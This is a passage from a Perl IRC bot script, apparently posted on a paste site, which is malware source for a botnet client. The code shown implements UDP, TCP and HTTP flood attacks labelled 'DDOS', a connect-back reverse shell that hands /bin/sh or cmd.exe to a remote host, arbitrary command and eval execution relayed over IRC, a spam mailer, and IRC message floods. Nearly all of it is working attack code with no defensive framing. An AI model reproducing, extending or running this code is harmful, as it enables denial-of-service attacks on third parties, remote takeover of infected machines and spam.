  533.     socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  534.     my $alvo=inet_aton("$1");
  535.     my $porta = "$2";
  536.     my $dtime = "$3";
  537.     my $pacote;
  538.     my $pacotese;
  539.     my $size = 0;
  540.     my $fim = time + $dtime;
  541.     my $pacota = 1;
  542.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  543.     while (($pacota == "1") && ($pacotes == "1")) {
  544.             $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  545.             $pacote = $size ? $size : int(rand(1024-64)+64) ;
  546.             $porta = int(rand 65000) +1 if ($porta == "0");
  547.             #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));
  548.             send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo));
  549.             }
  550.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. ");
  551. }
  552. ##############
  553. if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
  554.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. ");
  555.     my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  556.     $dtime = 1 if $dtime == 0;
  557.     my %bytes;
  558.     $bytes{igmp} = $2 * $pacotes{igmp};
  559.     $bytes{icmp} = $2 * $pacotes{icmp};
  560.     $bytes{o} = $2 * $pacotes{o};
  561.     $bytes{udp} = $2 * $pacotes{udp};
  562.     $bytes{tcp} = $2 * $pacotes{tcp};
  563.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  564. }
  565. ##############
  566. if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {
  567.     return unless $pacotes;
  568.     socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  569.     my $alvo=inet_aton("$1");
  570.     my $porta = "$2";
  571.     my $dtime = "$3";
  572.     my $pacote;
  573.     my $pacotese;
  574.     my $fim = time + $dtime;
  575.     my $pacota = 1;
  576.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  577.     while (($pacota == "1") && ($pacotes == "1")) {
  578.             $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  579.             $pacote= $rand x $rand x $rand;
  580.             $porta = int(rand 65000) +1 if ($porta == "0");
  581.             send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  582.             }
  583.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  584. }
  585. ##############
  586.  
  587. ##############
  588. if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
  589.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. ");
  590.     my $itime = time;
  591.     my ($cur_time);
  592.     $cur_time = time - $itime;
  593.     while ($3>$cur_time){
  594.     $cur_time = time - $itime;
  595.     &tcpflooder("$1","$2","$3");
  596. }
  597.     sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attack ended on: 12".$1.":".$2."9,1. ");
  598. }
  599. ##############
  600. if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
  601.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP DDOS] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. ");
  602.     my $itime = time;
  603.     my ($cur_time);
  604.     $cur_time = time - $itime;
  605.     while ($2>$cur_time){
  606.     $cur_time = time - $itime;
  607.     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  608.     print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  609.     close($socket);
  610. }
  611.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP DDOS] 9,1Attacking ended on: 12".$1."9,1. ");
  612. }
  613. ##############
  614. if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {
  615.     my $host = "$1";
  616.     my $port = "$2";
  617.     my $proto = getprotobyname('tcp');
  618.     my $iaddr = inet_aton($host);
  619.     my $paddr = sockaddr_in($port, $iaddr);
  620.     my $shell = "/bin/sh -i";
  621. if ($^O eq "MSWin32") {
  622.     $shell = "cmd.exe";
  623. }
  624.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port ");
  625.     socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  626.     connect(SOCKET, $paddr) or die "connect: $!";
  627.     open(STDIN, ">&SOCKET");
  628.     open(STDOUT, ">&SOCKET");
  629.     open(STDERR, ">&SOCKET");
  630.     system("$shell");
  631.     close(STDIN);
  632.     close(STDOUT);
  633.     close(STDERR);
  634. }
  635. ##############
  636. if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  637.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 ");
  638.     $subject = $1;
  639.     $sender = $2;
  640.     $recipient = $3;
  641.     @corpo = $4;
  642.     $mailtype = "content-type: text/html";
  643.     $sendmail = '/usr/sbin/sendmail';
  644.     open (SENDMAIL, "| $sendmail -t");
  645.     print SENDMAIL "$mailtype\n";
  646.     print SENDMAIL "Subject: $subject\n";
  647.     print SENDMAIL "From: $sender\n";
  648.     print SENDMAIL "To: $recipient\n\n";
  649.     print SENDMAIL "@corpo\n\n";
  650.     close (SENDMAIL);
  651.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient ");
  652. }
  653. exit;
  654. }
  655. }
  656. ##############
  657. if ($funcarg =~ /^ctcpflood (.*)/) {
  658.     my $target = "$1";
  659.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." ");
  660.     for (1..10) {
  661.     sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
  662.     sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
  663.     }
  664. }
  665. ##############
  666. if ($funcarg =~ /^msgflood (.*)/) {
  667.     my $target = "$1";
  668.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." ");
  669.     sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  670. }
  671. ##############
  672. if ($funcarg =~ /^noticeflood (.*)/) {
  673.     my $target = "$1";
  674.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." ");
  675.     for (1..2){
  676.     sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  677.     }
  678. }
  679. ##############
  680.  
  681. ##############
  682. sub ircase {
  683. my ($kem, $printl, $case) = @_;
  684.    if ($case =~ /^join (.*)/) {
  685.      j("$1");
  686.    }
  687.    elsif ($case =~ /^part (.*)/) {
  688.       p("$1");
  689.    }
  690.    elsif ($case =~ /^rejoin\s+(.*)/) {
  691.       my $chan = $1;
  692.       if ($chan =~ /^(\d+) (.*)/) {
  693.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  694.           p("$2");
  695.           j("$2");
  696.         }
  697.       } else {
  698.           p("$chan");
  699.           j("$chan");
  700.       }
  701.    }
  702.    elsif ($case =~ /^op/) {
  703.       op("$printl", "$kem") if $case eq "op";
  704.       my $oarg = substr($case, 3);
  705.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  706.    }
  707.    elsif ($case =~ /^deop/) {
  708.       deop("$printl", "$kem") if $case eq "deop";
  709.       my $oarg = substr($case, 5);
  710.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  711.    }
  712.    elsif ($case =~ /^voice/) {
  713.       voice("$printl", "$kem") if $case eq "voice";
  714.       $oarg = substr($case, 6);
  715.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  716.    }
  717.    elsif ($case =~ /^devoice/) {
  718.       devoice("$printl", "$kem") if $case eq "devoice";
  719.       $oarg = substr($case, 8);
  720.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  721.    }
  722.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  723.       msg("$1", "$2");
  724.    }
  725.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  726.       for (my $cf = 1; $cf <= $1; $cf++) {
  727.         msg("$2", "$3");
  728.       }
  729.    }
  730.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  731.       ctcp("$1", "$2");
  732.    }
  733.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  734.       for (my $cf = 1; $cf <= $1; $cf++) {
  735.         ctcp("$2", "$3");
  736.       }
  737.    }
  738.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  739.       invite("$1", "$2");
  740.    }
  741.    elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {
  742.        conectar("$2", "$1", "6667");
  743.    }
  744.    elsif ($case =~ /^nick (.*)/) {
  745.       nick("$1");
  746.    }
  747.    elsif ($case =~ /^raw (.*)/) {
  748.       sendraw("$1");
  749.    }
  750.    elsif ($case =~ /^eval (.*)/) {
  751.       eval "$1";
  752.    }
  753.    elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
  754.     sleep int(rand($2));
  755.     j("$1");
  756.    }
  757.    elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
  758.     sleep int(rand($2));
  759.     p("$1");
  760.    }
  761.    elsif ($case =~ /^quit/) {
  762.      quit();
  763.    }
  764. }
  765. ##############
  766. sub shell {
  767. my $printl=$_[0];
  768. my $comando=$_[1];
  769. if ($comando =~ /cd (.*)/) {
  770.     chdir("$1") || msg("$printl", "No such file or directory");
  771.     return;
  772. } elsif ($pid = fork) {
  773.     waitpid($pid, 0);
  774. } else {
  775. if (fork) {
  776.     exit;
  777. } else {
  778. my @resp=`$comando 2>&1 3>&1`;
  779. my $c=0;
  780. foreach my $linha (@resp) {
  781.   $c++;
  782.   chop $linha;
  783.   sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  784.   if ($c == "$linas_max") {
  785.     $c=0;
  786.     sleep $sleep;
  787.   }
  788. }
  789. exit;
  790. }
  791. }
  792. }
  793. ##############
  794. sub udpflooder {
  795. my $iaddr = inet_aton($_[0]);
  796. my $msg = 'A' x $_[1];
  797. my $ftime = $_[2];
  798. my $cp = 0;
  799. my (%pacotes);
  800.     $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  801.     socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  802.     socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  803.     socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  804.     socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  805.     return(undef) if $cp == 4;
  806. my $itime = time;
  807. my ($cur_time);
  808.     while ( 1 ) {
  809. for (my $port = 1;
  810.     $port <= 65000; $port++) {
  811.     $cur_time = time - $itime;
  812. last if $cur_time >= $ftime;
  813.     send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
  814.     send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
  815.     send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
  816.     send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
  817. for (my $pc = 3;
  818.     $pc <= 255;$pc++) {
  819. next if $pc == 6;
  820.     $cur_time = time - $itime;
  821. last if $cur_time >= $ftime;
  822.     socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  823.     send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
  824. }
  825. }
  826. last if $cur_time >= $ftime;
  827. }
  828. return($cur_time, %pacotes);
  829. }
  830. ##############
  831. sub tcpflooder {
  832. my $itime = time;
  833. my ($cur_time);
  834. my ($ia,$pa,$proto,$j,$l,$t);
  835.     $ia=inet_aton($_[0]);
  836.     $pa=sockaddr_in($_[1],$ia);
  837.     $ftime=$_[2];
  838.     $proto=getprotobyname('tcp');
  839.     $j=0;$l=0;
  840.     $cur_time = time - $itime;
  841. while ($l<1000){
  842.     $cur_time = time - $itime;
  843. last if $cur_time >= $ftime;
  844.     $t="SOCK$l";
  845.     socket($t,PF_INET,SOCK_STREAM,$proto);
  846.     connect($t,$pa)||$j--;
  847.     $j++;$l++;
  848. }
  849.     $l=0;
  850. while ($l<1000){
  851.     $cur_time = time - $itime;
  852. last if $cur_time >= $ftime;
  853.     $t="SOCK$l";
  854. shutdown($t,2);
  855.     $l++;
  856. }
  857. }
  858. ##############
  859. sub msg {
  860.    return unless $#_ == 1;
  861.    sendraw("PRIVMSG $_[0] :$_[1]");
  862. }
  863. sub ctcp {
  864.    return unless $#_ == 1;
  865.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  866. }
  867. sub notice {
  868.    return unless $#_ == 1;
  869.    sendraw("NOTICE $_[0] :$_[1]");
  870. }
  871. sub op {
  872.    return unless $#_ == 1;
  873.    sendraw("MODE $_[0] +o $_[1]");
  874. }
  875. sub deop {
  876.    return unless $#_ == 1;
  877.    sendraw("MODE $_[0] -o $_[1]");
  878. }
  879. sub voice {
  880.    return unless $#_ == 1;
  881.    sendraw("MODE $_[0] +v $_[1]");
  882. }
  883. sub devoice {
  884.    return unless $#_ == 1;
  885.    sendraw("MODE $_[0] -v $_[1]");
  886. }
  887. sub j { &join(@_); }
  888. sub join {
  889.    return unless $#_ == 0;
  890.    sendraw("JOIN $_[0]");
  891. }
  892. sub p { part(@_); }
  893. sub part {sendraw("PART $_[0]");}
  894. sub nick {
  895.   return unless $#_ == 0;
  896.   sendraw("NICK $_[0]");
  897. }
  898. sub quit {
  899.   sendraw("QUIT :$_[0]");
  900.   exit;
  901. }
  902. sub modo {
  903.    return unless $#_ == 0;
  904.    sendraw("MODE $_[0] $_[1]");
  905. }
  906. sub mode { modo(@_); }
  907.  
  908. sub invite {
  909.    return unless $#_ == 1;
  910.    sendraw("INVITE $_[1] $_[0]");
  911. }
  912.  
  913. sub topico {
  914.    return unless $#_ == 1;
  915.    sendraw("TOPIC $_[0] $_[1]");
  916. }
  917. sub topic { topico(@_); }
  918.  
  919. sub away {
  920.   sendraw("AWAY $_[0]");
  921. }
  922. sub back { away(); }
  923.  
  924. }
  925.  
  926. ###################
  927. ##### [ EOF ] #####
  928. ###################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement